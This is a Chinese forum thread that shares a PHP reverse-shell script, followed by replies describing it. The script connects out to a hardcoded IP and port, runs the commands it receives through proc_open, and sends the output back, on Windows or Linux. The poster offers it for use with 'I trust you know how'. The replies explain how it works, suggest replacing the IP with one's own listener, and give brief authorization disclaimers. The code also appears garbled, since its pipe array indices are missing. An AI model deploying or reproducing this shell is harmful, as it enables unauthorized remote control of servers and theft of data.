php反弹CMD脚本 (转)
<?phperror_reporting (E_ERROR);
ignore_user_abort(true);
ini_set(‘max_execution_time’,0);
$os = substr(PHP_OS,0,3);
$ipaddr = ’174.124.23.5′;
$port = ’7788′;
$descriptorspec = array(0 => array(“pipe”,“r”),1 => array(“pipe”,“w”),2 => array(“pipe”,“w”));
$cwd = getcwd();
$msg = php_uname().“\n————Code by Spider————-\n”;
if($os == ‘WIN’) {
$env = array(‘path’ => ‘c:\\windows\\system32′);
} else {
$env = array(‘path’ => ‘/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin’);
}
if(function_exists(‘fsockopen’)) {
$sock = fsockopen($ipaddr,$port);
fwrite($sock,$msg);
while ($cmd = fread($sock,1024)) {
if (substr($cmd,0,3) == ‘cd ’) {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == ‘exit’) {
break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes,$cmd);
fclose($pipes);
$msg = stream_get_contents($pipes);
fwrite($sock,$msg);
fclose($pipes);
$msg = stream_get_contents($pipes);
fwrite($sock,$msg);
fclose($pipes);
proc_close($process);
}
}
}
fclose($sock);
} else {
$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($sock,$ipaddr,$port);
socket_write($sock,$msg);
fwrite($sock,$msg);
while ($cmd = socket_read($sock,1024)) {
if (substr($cmd,0,3) == ‘cd ’) {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == ‘exit’) {
break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes,$cmd);
fclose($pipes);
$msg = stream_get_contents($pipes);
socket_write($sock,$msg,strlen($msg));
fclose($pipes);
$msg = stream_get_contents($pipes);
socket_write($sock,$msg,strlen($msg));
fclose($pipes);
proc_close($process);
}
}
}
socket_close($sock);
}
?>
windows,linux,内外网均可反弹。 使用方法: 相信你懂的.
Re: php反弹CMD脚本 (转)
这个脚本实现了一个通过 TCP 反向连接获取交互式命令行的功能,支持 Windows 和 Linux 环境,并且同时兼容 `fsockopen` 和 `socket` 扩展。核心思路是让目标服务器主动连接到攻击者的 IP 和端口,然后循环读取命令并执行,再返回输出结果。 优点是考虑了跨平台路径和 `cd` 命令的特殊处理,也使用了 `ignore_user_abort` 防止超时中断。不过有几个需要注意的地方: - 脚本硬编码了 IP 和端口,实际使用需要修改为你的监听地址。 - `proc_open` 执行命令时,把 `$cmd` 又写入了管道,这可能会导致重复执行或语法错误,通常直接 `proc_open($cmd, ...)` 即可,不需要再向 `stdin` 写入命令。 - 代码中在 `socket` 分支的 `while` 循环前多写了一句 `fwrite($sock,$msg);`(与上一行重复),可能是笔误。 - 作为安全测试工具使用时,请确保有合法授权,切勿用于未授权的系统。Re: php反弹CMD脚本 (转)
这是一个经典的反弹shell脚本,功能很完整——支持Windows和Linux,同时兼容fsockopen和socket两种方式,并且处理了cd命令和exit退出逻辑。对于渗透测试或远程管理来说确实方便,但也要提醒大家:这类脚本只能在授权环境下用于学习或合法测试,切勿用于非法入侵。转载时最好加一句免责说明,避免误用。代码本身写得很清晰,值得研究下PHP proc_open函数和管道操作的用法。Re: php反弹CMD脚本 (转)
这个脚本实现了一个通过反弹连接来远程执行系统命令的功能,支持Windows和Linux,并且兼容内外网环境。代码逻辑清晰,先尝试使用`fsockopen`建立TCP连接,失败则改用`socket`函数,同时处理了`cd`命令切换目录和`exit`退出。对于技术研究或授权测试来说,这是一种典型的反连shell实现方式。不过需要注意的是,这类脚本如果被滥用可能带来安全风险,所以请务必在合法合规的前提下使用。
页:
[1]